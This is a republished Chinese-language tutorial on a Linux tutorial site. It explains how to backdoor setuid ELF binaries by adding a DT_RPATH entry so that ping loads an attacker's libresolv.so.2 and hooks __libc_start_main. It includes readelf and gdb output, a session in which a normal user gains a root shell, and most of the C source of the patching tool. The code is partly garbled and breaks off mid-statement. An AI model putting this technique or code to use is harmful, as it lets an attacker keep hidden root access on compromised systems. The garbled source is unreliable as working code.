歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux綜合 >> Linux資訊 >> Linux文化

Elf文件DT_RPATH後門解析


一。前言

前一段時間回顧elf文件方面的知識時,翻了以前很多優秀的文章,在xfocus的幫助文件unix版中看到了alert7大俠 這篇文章,看了一下時間9月/14號,那段時間忙著重修,沒到網吧去。alert7沒有貼代碼,我想還是有人不了解,就把這篇文章寫出來給大家整理性的介紹一下,這裡指的是linux下。

這篇文章不是介紹elf基礎的文章,所以一些概念性的東西請參考elf鑒別,然後拿起你的gdb實際去了解一下啥叫got,plt,重定向的概念,了解一下動態連接和靜態連接,用readelf或者objdump實際看一下,後面的參考中可以找到你需要的。文中錯誤再所難免,歡迎指正;)

二。分析

後門存在的原因:

引自

*動態數組標記DT_RPATH保存著目錄列表的字符串(用冒號(:)分隔)。

例如,字符串/home/dir/lib:/home/dir2/lib:告訴動態連接器先搜索/home/dir/lib,再搜索/home/dir2/lib,再是當前目錄。

LD_LIBRARY_PATH環境變量設置的目錄在DT_RPATH指向的目錄之後被搜索。而且出於安全考慮,動態連接器忽略set-user和set-group的程序的LD_LIBRARY_PATH所指定的搜索目錄。但它會搜索DT_RPATH指明的目錄和/usr/lib。所以這個DT_RPATH還是比較感興趣的。

有了以上的基本知識,我們可以在一個set-user的程序上安裝一個DT_RPATH入口(一般程序都沒有)。讓其搜索路徑首先為當前目錄。把我們自己編寫的庫以其名字放到當前目錄下,更讓其加栽我們自己的動態庫。這樣我們就可以得到set-user的權限了。

截獲了__libc_start_main,肯定能確保ping 程序放棄特權之前執行。(假如截獲malloc之類的就不能確保了)。因為我們用到了一些libc。so。6中的函數,所以我們需要把我們自己的LIB以libresolv。so。2的名字存放在當前目錄下。

由此實現這個後門的關鍵在於:

a:修改或添加(通常是不存在的)在。dynamic節中(數組)d_tag為DT_RPATH的入口結構(entry)d_un。d_val指向為到。dynstr節的的一個以**NULL結尾字符串的偏移量(如果存在DT_RATH的話)。此字符串是路徑的集合,其中路徑以:分開。

最後一個:後面表示當前目錄,如果前面的字符串改成這樣的"_wujianqiang:\0"(這樣用來表示一個NULL;))表明現在當前目錄下的_wujianqiang子目錄中尋找,然後再在當前目錄下尋找,顯然這裡采用的相對目錄,我們主要是構造這個字符串,同時我們要想到,我們是添加一個這樣的字符串還是修改某個字符串成為我們需要的形式,顯然前者就比較復雜,就要使program header ,section 的某些成員都要改變,所以我們采用修改的方法,找一個動態符號修改,這裡我選用了__gmon_start__這個字符串。當然其它的也可以,不過發現__gmon_start__有點特殊,並且幾乎所有的程序裡都有這個符號,所以我就選了這個。

通常d_tag為DT_RPATH的入口結構不存在,所以我們要添加這個DT_RPATH,實際上。dynamic數組中應該有幾個空的沒用的這樣的NULL入口,(一般都可以找到)所以我在程序中找的是第一個NULL入口,沒有采用修改某些入口的方法。同樣的這裡我們不需要修改任何section,program header 的某些結構成員,因為這裡有並且存在entry結構,我們不用添加只要修改。至此我們的elf文件修改任務結束。

b。現在我們只需要做的就是截獲那個函數的問題,alert7提出了截獲__libc_start_main這個函數,我們就來截獲這個函數但是為啥“能夠“截獲這個函數的原因我們在後面講述。

我們先解決問題a:

下面是相關知識

通常來說每一個動態連接的object它的程序頭表將有一個類型為PT_DYNAMIC的元素。該“段”包含了。dynamic section。

每個入口(entry)的結構如下:

+ 圖一。 Dynamic Structure

typedef struct

{

Elf32_Sword d_tag; /* Dynamic entry type */

union

{

Elf32_Word d_val; /* Integer value */

Elf32_Addr d_ptr; /* Address value */

} d_un;

} Elf32_Dyn;

下面用readelf解釋一下

+圖二

[wujian@redhat72 elf_door]$ readelf -l 。/pinG

Program Headers:

Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align [。。。。]

DYNAMIC 0x005618 0x0804e618 0x0804e618 0x000d0 0x000d0 RW 0x4

Section to Segment mapping:

Segment Sections。。。

[。。。。]

04 dynamic

[wujian@redhat72 elf_door]$ readelf -S 。/pinG

There are 24 section headers, starting at offset 0x57cc:

Section Headers: 其中省略部分

[Nr] Name Type Addr Off Size ES Flg Lk Inf Al

[ 4] 。dynsym DYNSYM 080482a0 0002a0 000370 10 A 5 1 4

[ 5] 。dynstr STRTAB 08048610 000610 000233 00 A 0 0 1

[ 8] 。rel。dyn REL 080488e4 0008e4 000030 08 A 4 0 4

[ 9] 。rel。plt REL 08048914 000914 000168 08 A 4 b 4

[11] 。plt PROGBITS 08048a94 000a94 0002e0 04 AX 0 0 4

[12] 。text PROGBITS 08048d80 000d80 003230 00 AX 0 0 16

[19] 。got PROGBITS 0804e554 005554 0000c4 04 WA 0 0 4

[20] 。dynamic DYNAMIC 0804e618 005618 0000d0 08 WA 5 0 4

注意LK字段“關聯“的含義,。dynamic節關聯著[5]。dynstr節,[4]。dynsym節也關聯著。dynstr節,[8],[9]

節關聯著。dynsym節

對每一個有該類型的object,d_tag控制著d_un的解釋。

+ 圖三: Dynamic Array Tags, d_tag

Name Value d_un Executable Shared Object

==== ===== ==== ========== =============

DT_NULL 0 ignored mandatory mandatory

DT_NEEDED 1 d_val optional optional

DT_STRTAB 5 d_ptr mandatory mandatory

[。。。]省略,保留了我們關心的

DT_RPATH 15 d_val optional ignored

[。。。]

DT_NULL標記的入口表示了_DYNAMIC數組,也既。dynamic節的結束。

DT_NEEDED這個entry, 這個元素保存著以NULL結尾的字符串表的偏移量,這些字符串是所需庫的名字。該偏移量是以DT_STRTAB

為入口的表的索引。動態數組可能包含了多個這個類型的入口。那些入口的[[相關順序]]是重要的。請注意相關順序!---->注意

DT_STRTAB該元素保存著字符串表地址,在第一部分有描述,包括了符號名,庫名, 和一些其他的在該表中的字符串。

DT_RPATH該元素在聯合結構d_val保存著以NULL結尾的搜索庫的搜索目錄字符串的字符串表偏移量。 ----->注意

+圖四

[wujian@redhat72 elf_door]$ readelf -d 。/pinG

Dynamic segment at offset 0x5618 contains 22 entries:

Tag Type Name/Value

0x00000001 (NEEDED) Shared library: [libresolv。so。2]

0x00000001 (NEEDED) Shared library: [libc。so。6]

0x0000000c (INIT) 0x8048a7c

0x0000000d (FINI) 0x804bfb0

0x00000004 (HASH) 0x8048128

0x00000005 (STRTAB) 0x8048610

0x00000006 (SYMTAB) 0x80482a0

0x0000000a (STRSZ) 541 (bytes)

0x0000000b (SYMENT) 16 (bytes)

0x00000015 (DEBUG) 0x0

0x00000003 (PLTGOT) 0x804e554

0x00000002 (PLTRELSZ) 360 (bytes)

0x00000014 (PLTREL) REL

0x00000017 (JMPREL) 0x8048914

0x00000011 (REL) 0x80488e4

0x00000012 (RELSZ) 48 (bytes)

0x00000013 (RELENT) 8 (bytes)

0x6ffffffe (VERNEED) 0x80488b4

0x6fffffff (VERNEEDNUM) 1

0x6ffffff0 (VERSYM) 0x8048844

0x0000000f (RPATH) Library rpath: [_wujianqiang:]

0x00000000 (NULL) 0x0

從上面看到DT_STRTAB聯合d_un中的v_ptr指向的是[5]。dynstr節

。plt 的概念在這裡不再闡述。注意JMPREL,PLTGOT。

通過上面的一些介紹,我們進入正式的話題,首先我們要解決的是修改"__gmon_start__"為"_wujianqiang:\0"或者"xxx:\0"類似的東西,實際":\0"就行了。以NULL結尾就ok了。

問題為啥修改__gmon_start__這個符號?

下面我們先看一個正常的關於__gmon_start__的輸出

[wujian@redhat72 elf_door]$ readelf -a 。/elf

[。。。]

Relocation section '。rel。dyn' at offset 0x478 contains 2 entries:

Offset Info Type Symbol's Value Symbol's Name

0804a2e4 01506 R_386_GLOB_DAT 00000000 __gmon_start__

Symbol table '。dynsym' contains 22 entries:

Num: Value Size Type Bind Vis Ndx Name

[。。。]

97: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__

Name Value Field Calculation

==== ===== ===== ===========

R_386_GLOB_DAT 6 word32 S 通常我們看到的是R_386_JMP_SLOT這種類型的R_386_GLOB_DAT This relocation type is used to set a global offset table entry to the addressof the specified symbol。 The special relocation type allows one to determinethe correspondence between symbols and global offset table entries。

* R_386_GLOB_DAT

這種重定位類型用於設置一個全局偏移表入口為指定符號的地址。該特定的重定位 (alert7大俠譯)類型允許你決定符號和全局偏移表入口之間的一致性。

S This means the value of the symbol whose index resides in the relocation entry。

* S

表示索引駐留在重定位入口處的符號值。

[19] 。got PROGBITS 0804a290 001290 000058 04 WA 0 0 4

[20] 。dynamic DYNAMIC 0804a2e8 0012e8 0000c8 08 WA 5 0 4

offset=0804a2e4

實際上這個重定位標示的偏移是got節的最後一個入口,並設置這個入口的值為__gmon_start__的這個符號的地址。

下面做一個小測試實際看一下:

/*test。c*/

int __gmon_start__(){return 0;}

int main(){return __gmon_start__();}

EOF

[wujian@redhat72 elf_door]$ readelf -a test

Section Headers:

[Nr] Name Type Addr Off Size ES Flg Lk Inf Al

[。。]

[ 8] 。rel。dyn REL 08048294 000294 000008 08 A 4 0 4

[ 9] 。rel。plt REL 0804829c 00029c 000020 08 A 4 b 4

[。。]

[12] 。text PROGBITS 08048330 000330 000160 00 AX 0 0 16

[19] 。got PROGBITS 080494dc 0004dc 000020 04 WA 0 0 4

[20] 。dynamic DYNAMIC 080494fc 0004fc 0000c8 08 WA 5 0 4

----------------------------------------------------------------

Relocation section '。rel。dyn' at offset 0x294 contains 1 entries:

Offset Info Type Symbol's Value Symbol's Name

080494f8 00606 R_386_GLOB_DAT 08048430 __gmon_start__ offset=0x080494f8實際是got的最後一個入口偏移

----------------------------------------------------------------

Relocation section '。rel。plt' at offset 0x29c contains 4 entries:

Offset Info Type Symbol's Value Symbol's Name

080494e8 00107 R_386_JUMP_SLOT 080482e4 __register_frame_info

080494ec 00207 R_386_JUMP_SLOT 080482f4 __deregister_frame_info

080494f0 00307 R_386_JUMP_SLOT 08048304 __libc_start_main

----------------------------------------------------------------

Symbol table '。dynsym' contains 7 entries:

Num: Value Size Type Bind Vis Ndx Name

3: 08048304 202 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2。0">__libc_start_main@GLIBC_2。0 (2)

6: 08048430 10 FUNC GLOBAL DEFAULT 12 __gmon_start__

rel。dyn實際重定位對應。dynsym 本來__gmon_start__不應該出現在這裡,對應與上面的解釋

10個字節,函數類型,value為0x8048430,關聯與[12]。text

----------------------------------------------------------------

Symbol table '。symtab' contains 77 entries:

Num: Value Size Type Bind Vis Ndx Name

[。。] 實際上__gmon_start不需要重定位

67: 08048304 202 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_2。0">__libc_start_main@@GLIBC_2。0

76: 08048430 10 FUNC GLOBAL DEFAULT 12 __gmon_start__

------------------------------------------------------------------

[wujian@redhat72 elf_door]$ gdb -q test

(gdb) disas main

Dump of assembler code for function main:

0x804843c : push %ebp

0x804843d : mov %esp,%ebp

0x804843f : sub $0x8,%esp

0x8048442 : call 0x8048430

0x8048447 : mov %eax,%eax

0x8048449 : mov %eax,%eax

0x804844b : leave

0x804844c : ret

0x804844d : lea 0x0(%esi),%esi

End of assembler dump。

(gdb) b *0x8048430

Breakpoint 1 at 0x8048430

(gdb) r

Starting program: /home/wujian/share/elf_door/test

Breakpoint 1, 0x08048430 in __gmon_start__ ()

(gdb) disas

Dump of assembler code for function __gmon_start__:

0x8048430 : push %ebp

0x8048431 : mov %esp,%ebp

0x8048433 : mov $0x0,%eax

0x8048438 : pop %ebp

0x8048439 : ret

0x804843a : mov %esi,%esi

End of assembler dump。

(gdb) x/x 0x80494f8 ---〉got偏移地址offset處的入口值修改為該符號的地址

0x80494f8 : 0x08048430

綜上所述,推斷出結論了吧;(

這個修改很簡單通過遍歷section,我們先尋找節類型sh_type==SHT_DYNSYM的動態符號節。dynsym節,同時這個節關聯這。dynstr節(看圖三)sh_link=[5]。dynstr,我們把dynstr節緩存,然後尋找符號的st_name(偏移索引)是否等同於__gmon_start__,然後修改,以上修改結束,並且我們得到了index索引的偏移;然後添加DT_RPATH這個entry,上面說過的我們尋找第一個NULL入口,我們通過遍歷。dynamic數組找到第一個NULL入口結構然後修改d_tag為DT_RPATH,然後把上面的到的index添入d_un。val中,至此修改elf文件完畢。至此我們任務a完畢。

現在我們來看問題b:

為啥"能夠"截獲__libc_start_main()?

這就要涉及到符號解析和plt的概念

我們還用上面的test。c演示;

[wujian@redhat72 elf_door]$ gdb -q test

(gdb) disas _start

Dump of assembler code for function _start:

0x8048330 : xor %ebp,%ebp

0x8048332 : pop %esi

0x8048333 : mov %esp,%ecx

0x8048335 : and $0xfffffff0,%esp

0x8048338 : push %eax

0x8048339 : push %esp

0x804833a : push %edx

0x804833b : push $0x8048490

0x8048340 : push $0x80482bc

0x8048345 : push %ecx

0x8048346 : push %esi

0x8048347 : push $0x804843c

0x804834c : call 0x8048304 ---〉(實際也是需要重定位的,最關鍵的)

0x8048351 : hlt

0x8048352 : mov %esi,%esi

End of assembler dump。

(gdb) b *0x8048304

Breakpoint 1 at 0x8048304

(gdb) r

Starting program: /home/wujian/share/elf_door/test

Breakpoint 1 at 0x8048304: file 。。/sysdeps/generic/libc-start。c, line 53。

Breakpoint 1, 0x08048304 in __libc_start_main () at 。。/sysdeps/generic/libc-start。c:53

53 。。/sysdeps/generic/libc-start。c: No such file or directory。

in 。。/sysdeps/generic/libc-start。c

(gdb) disas

Dump of assembler code for function __libc_start_main:

0x8048304 : jmp *0x80494f0 0x8048304 plt中的entry 0x80494f0是got的地址

0x804830a : push $0x10

0x804830f : jmp 0x80482d4

End of assembler dump。

(gdb)

下面關於符號解析的問題請參考alert7大俠的>。需要注意的是我們之所以能截獲__libc_start_main是因為ping這個程序加載了兩個。SO, 解析符號時link_map的結構中兩個雙向鏈表連接被加載的。SO,因為實際上因為順著鏈表查詢符號因為先找到libresolv。so。2,然後才是libc。so。6。看圖3注意處,DT_NEEDED,基本說明白了。

具體的過程不貼了,自己動手fixup一下。

我們看一下真實的ping DT_RPATH後門

[wujian@redhat72 elf_door]$ id

uid=500(wujian) gid=500(wujian) groups=500(wujian)

[wujian@redhat72 elf_door]$ su root

Password:

[root@redhat72 elf_door]# cp /bin/ping /bin/pinG

[root@redhat72 elf_door]# cp addelfrpath disp/

[root@redhat72 elf_door]# cp libresolv。so。2 disp/

[root@redhat72 elf_door]# cd disp

[root@redhat72 disp]# ls

addelfrpath libresolv。so。2

[root@redhat72 disp]# /bin/pinG

Usage: ping [-LRUbdfnqrvV] [-c count] [-i interval] [-w wait]

[-p pattern] [-s packetsize] [-t ttl] [-I interface address]

[ -T timestamp option ] [ -Q tos ] host

[root@redhat72 disp]# readelf -d /bin/pinG

Dynamic segment at offset 0x5618 contains 21 entries:

Tag Type Name/Value

0x00000001 (NEEDED) Shared library: [libresolv。so。2]

0x00000001 (NEEDED) Shared library: [libc。so。6]

0x0000000c (INIT) 0x8048a7c

0x0000000d (FINI) 0x804bfb0

0x00000004 (HASH) 0x8048128

0x00000005 (STRTAB) 0x8048610

0x00000006 (SYMTAB) 0x80482a0

0x0000000a (STRSZ) 541 (bytes)

0x0000000b (SYMENT) 16 (bytes)

0x00000015 (DEBUG) 0x0

0x00000003 (PLTGOT) 0x804e554

0x00000002 (PLTRELSZ) 360 (bytes)

0x00000014 (PLTREL) REL

0x00000017 (JMPREL) 0x8048914

0x00000011 (REL) 0x80488e4

0x00000012 (RELSZ) 48 (bytes)

0x00000013 (RELENT) 8 (bytes)

0x6ffffffe (VERNEED) 0x80488b4

0x6fffffff (VERNEEDNUM) 1

0x6ffffff0 (VERSYM) 0x8048844

0x00000000 (NULL) 0x0

[root@redhat72 disp]# 。/addelfrpath /bin/pinG

+hErE is to Start

+filetype is ok

+modify __gmon_start__ to _wujianqiang:

+20 real entrys add DT_RPATH entry

game over

[root@redhat72 disp]# readelf -d /bin/pinG

Dynamic segment at offset 0x5618 contains 22 entries:

Tag Type Name/Value

0x00000001 (NEEDED) Shared library: [libresolv。so。2]

0x00000001 (NEEDED) Shared library: [libc。so。6]

0x0000000c (INIT) 0x8048a7c

0x0000000d (FINI) 0x804bfb0

0x00000004 (HASH) 0x8048128

0x00000005 (STRTAB) 0x8048610

0x00000006 (SYMTAB) 0x80482a0

0x0000000a (STRSZ) 541 (bytes)

0x0000000b (SYMENT) 16 (bytes)

0x00000015 (DEBUG) 0x0

0x00000003 (PLTGOT) 0x804e554

0x00000002 (PLTRELSZ) 360 (bytes)

0x00000014 (PLTREL) REL

0x00000017 (JMPREL) 0x8048914

0x00000011 (REL) 0x80488e4

0x00000012 (RELSZ) 48 (bytes)

0x00000013 (RELENT) 8 (bytes)

0x6ffffffe (VERNEED) 0x80488b4

0x6fffffff (VERNEEDNUM) 1

0x6ffffff0 (VERSYM) 0x8048844

0x0000000f (RPATH) Library rpath: [_wujianqiang:]

0x00000000 (NULL) 0x0

[root@redhat72 disp]# exit

exit

[wujian@redhat72 elf_door]$ cd disp

[wujian@redhat72 disp]$ ls -l

total 28

-rwxr-xr-x 1 root root 17822 Apr 27 00:36 addelfrpath

-rwxr-xr-x 1 root root 5610 Apr 27 00:36 libresolv。so。2

[wujian@redhat72 disp]$ ls -l /bin/pinG

-rwsr-xr-x 1 root root 23436 Apr 27 00:38 /bin/pinG

[wujian@redhat72 disp]$ /bin/pinG

[root@redhat72 disp]# id

uid=0(root) gid=500(wujian) groups=500(wujian)

[root@redhat72 disp]#

三。結論

通過一些實驗,基本上所有的suid的程序只要加載了依賴的。SO就可以添加這個後門。這是一項簡單而巧妙的技術,而且不宜被發現,所以一個完整性校檢是安全的重要保證,但我對一個系統被入侵後還能不能用已經不報希望了:)

四。程序實現

/*

* elfaddRPATH。c

* by wujian (wujianqiangis@mail。china。com) only tested on rh72。

* only for test :) thanks alert7@xfocus scz@nsfocus wandb@nsfocus silvio@big。net。au

* about ELF articles。

*

*/

#include //not supply the header files :) and some simple codez not supply

#define ERR(fn) { perror(fn);exit(1);}

char * symgname= "__gmon_start__";//default modify symbol name

char * m_symgname="__gmon_start:";

char * myname="_wujianqiang:" //modify to 。。。

void elf_check(Elf32_Ehdr *ehdr);

static int add_ent(int fd ,unsigned int * index , Elf32_Ehdr * ehdr, Elf32_Shdr * shdr);

static int mod_sym(int fd , Elf32_Ehdr * ehdr,Elf32_Shdr * shdr,char * symname);

/*---------------------------------add entry in 。dynamic section-------------------------*/

static int add_ent(int fd ,unsigned int * index , Elf32_Ehdr * ehdr, Elf32_Shdr * shdr)

{

Elf32_Shdr * shdyn=shdr;

Elf32_Dyn * dyn,*dynp;

int i,offset=0;

int ent=0;

int find=0;

int dt_rpath=15; //from elf spec DT_RPATH=15

for(i=0;ie_shnum;i++)

{

if(shdyn->sh_type==SHT_DYNAMIC)

{

find=1;

break ;

}

shdyn++;

}

if(find==0)

{

printf("。dynamic section not find\n");

exit(0);

}

dyn=(Elf32_Dyn *)malloc(shdyn->sh_size);

if(dyn==NULL)

ERR("malloc");

if(lseek(fd,shdyn->sh_offset,SEEK_SET)!=shdyn->sh_offset)

ERR("lseek");

if(read(fd,dyn,shdyn->sh_size)!=shdyn->sh_size)

ERR("read");

dynp=dyn;

for(i=0;ish_size;i+=shdyn->sh_entsize)

{

ent++;

/*here is only find first NULL entry , not think too much,also don't find DT_RPAHT is exist!

add your code here:) */

if(dynp->d_tag==0 && (dynp->d_un。d_val==0 || dynp->d_un。d_ptr==0))

{

printf("+%d real entrys add DT_RPATH entry\n",ent-1);

offset=(dynp-dyn)*shdyn->sh_entsize;

goto modify;

}

dynp++;

}

out:

printf("no space\n");

free(dyn);

return -1;

modify:

if(lseek(fd,shdyn->sh_offset+offset,SEEK_SET)!=shdyn->sh_offset+offset)

ERR("lseek");

if(write(fd,&dt_rpath,sizeof(dynp->d_tag))!=sizeof(dynp->d_tag))

ERR("write");

if(write(fd,index,sizeof(dynp->d_un。d_val))!=sizeof(dynp->d_un。d_val))

ERR("write");

printf("+game over\n");

free(dyn);

return 0;

}

/*---------------------------------modifiy symbol name-------------------------------------------*/

static int mod_sym(int fd , Elf32_Ehdr * ehdr,Elf32_Shdr * shdr,char * symname)

{

Elf32_Shdr * shdrp=shdr;//for loop

Elf32_Shdr * strsym;

char * string;

Elf32_Sym *sym,*symp;

int i;

int find=0;

for(i=0;ie_shnum;i++)

{

if(shdrp->sh_type==SHT_DYNSYM)

{ find=1;

break;

}

shdrp++;

}

if(!find)

{

printf("not find SHT_DYNSYM\n");

exit(1);

}

strsym=&shdr[shdrp->sh_link];

string=(char *)malloc(strsym->sh_size);

if(strsym==NULL)

ERR("malloc");

if(lseek(fd,strsym->sh_offset,SEEK_SET)!=strsym->sh_offset)

ERR("lseek");

if(read(fd,string,strsym->sh_size)!=strsym->sh_size)

ERR("read");

sym=(Elf32_Sym *)malloc(shdrp->sh_size);

if(sym==NULL)

ERR("malloc");

if(lseek(fd,shdrp->sh_offset,SEEK_SET)!=shdrp->sh_offset)

ERR("malloc");

if(read(fd,sym,shdrp->sh_size)!=shdrp->sh_size)

ERR("read");

symp=sym;

for(i=0;ish_size;i+=shdrp->sh_entsize)

{

if(!strcmp(&string[symp->st_name],symname))

{

if(lseek(fd,strsym->sh_offset+symp->st_name,SEEK_SET)!=strsym->sh_offset+symp->st_name)

ERR("lseek");

printf("+modify %s to %s \n",symgname,myname);

if(write(fd,myname,strlen(symgname))!=strlen(symgname))

ERR("write");

free(string);

return symp->st_name;

}

symp++;

}

printf("not find match symbol\n");

return -1;

}

/*---------------------------------file check--------------------------------------------*/

void elf_check(Elf32_Ehdr *ehdr)

{

//add your code here ,not supply

}

/*---------------------------------------main----------------------------------------------------*/

int main(int argc , char * argv[])

{

Elf32_Ehdr ehdr;

Elf32_Phdr *phdr;

Elf32_Shdr *shdr;

char *sdata;

int ofshoff,slen;

int fd;

unsigned int index;

if(argc!=2)

{ printf("usage:%s \n"

"elfADDRPATH by wujianqiang@mail。china。com\n",

argv[0]

);

exit(1);

}

printf("+hErE is to Start \n");

if((fd=open(argv[1],O_RDWR))

Copyright © Linux教程網 All Rights Reserved